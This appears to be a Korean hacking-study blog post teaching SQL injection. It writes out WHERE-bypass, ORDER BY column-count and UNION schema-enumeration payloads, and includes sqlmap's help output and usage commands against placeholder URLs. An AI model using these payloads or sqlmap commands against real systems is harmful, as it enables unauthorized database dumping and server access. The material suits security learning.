SQL injection이란,
데이터베이스에 전송되는 SQL 쿼리문을 정상적이지 않은 악의적인 구문을 입력하여 공격자가 의도한 동작을 하도록 만드는 것이다.
공격이 비교적 쉬우나 공격에 의한 피해는 매우 크게 입힐 수 있다.
예시를 들어보자면,
SELECT db FROM db WHERE id = '{userInput}'
이런 간단한 로그인 logic SQL 구문이 있다고 하면, userInput에
' or 1 = 1--
이런 악의적인 구문을 삽입하면,
SELECT db FROM db WHERE id = ''or 1 = 1--'
이런식으로 WHERE문을 우회를 해 회원가입이나 계정 없이도 로그인을 할 수 있다.
WHERE 우회
보통 SQL문은
SELECT db FROM db WHERE user = '{{userInput}}'
정도로 예시를 들 수 있다.
개발자는 입력값이 user에 있으면 로그인이 되게 만드려고 했는데,
사용자가 입력값에 악의적인 쿼리문을 삽입하여 WHERE 구문을 참으로 만들어 우회하는 공격이다.
# query
SELECT db FROM db WHERE user = '{{userInput}}'
# userinput = ' OR 1 = 1--
# Cheet
SELECT db FROM db WHERE user = ''OR 1 = 1--'
컬럼 갯수 알아내기
컬럼 갯수를 알아내려고 할 때에는 ORDER BY를 사용한다.
ORDER BY는 정렬을 해주는 문법이다.
만약 정렬 숫자가 컬럼 갯수보다 넘어가면 에러가 발생하는 점을 이용해서 공격한다.
exploit
1' ORDER BY 1
1' ORDER BY 2
1' ORDER BY 3
이런식으로 order by문을 하나씩 증가시켜서 오류가 발생할때 쿼리의 갯수를 알 수 있다.
UNION 으로 schema name 알아내기
1' UNION SELECT schema_name, 1 FROM information_schema.schemata--
schema_name은 스키마의 모든 이름을 의미한다.
이 구문을 injection을 하면 모든 데이터베이스의 이름이 출력된다.
Blind SQLi
substring(db, n, x) = qwer
db에 n번째부터 x번째까지의 문자
이런식으로 injection을 실행한다.
SQLMAP
sqlmap은 sqli 자동화 툴 이다.
실제 sqli를 할때 시간도 엄청 오래걸리고, 해아 할 것들도 많기 때문에 자동화 툴을 사용한다.
sqlmap -h을 했을때의 결과이다.
___
__H__
___ ___[.]_____ ___ ___ {1.7.7#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
사용법
sqlmap -u "qwer/qwer.com?id=qqq"
로 url을 입력한다.
만약 db 정보가 있다면
sqlmap -u "qwer/qwer.com?id=qqq" --dbms=mysql
쿠키가 필요하다면
sqlmap -u "qwer/qwer.com?id=qqq" --cookie="sessionid=qwefdsgsdfa; mode=sqli;"
테이블 조회하기
sqlmap -u "qwer/qwer.com?id=qqq" --tables
어떤 db에서 테이블 조회하기
sqlmap -u "qwer/qwer.com?id=qqq" -D {{dbname}} --tables
post 나 requests body에 전송될때
--data = "uid=asdf&upw=asd"
뭐가 뭔지 잘 모를때
sqlmap --wizard
끝
잘 써먹으세요 ㅎㅎ
'web hacking' 카테고리의 다른 글
file upload 대응은 이게 정석일껄요...? (0) | 2023.09.04 |
---|---|
HTML/CSS Injection (0) | 2023.07.28 |
SSTI띠띠리리~~ (0) | 2023.07.21 |
command injection (0) | 2023.07.18 |
전 국민이 직접 시도해본 해킹공격, Brute Force Attack (dreamhack session) (6) | 2023.07.17 |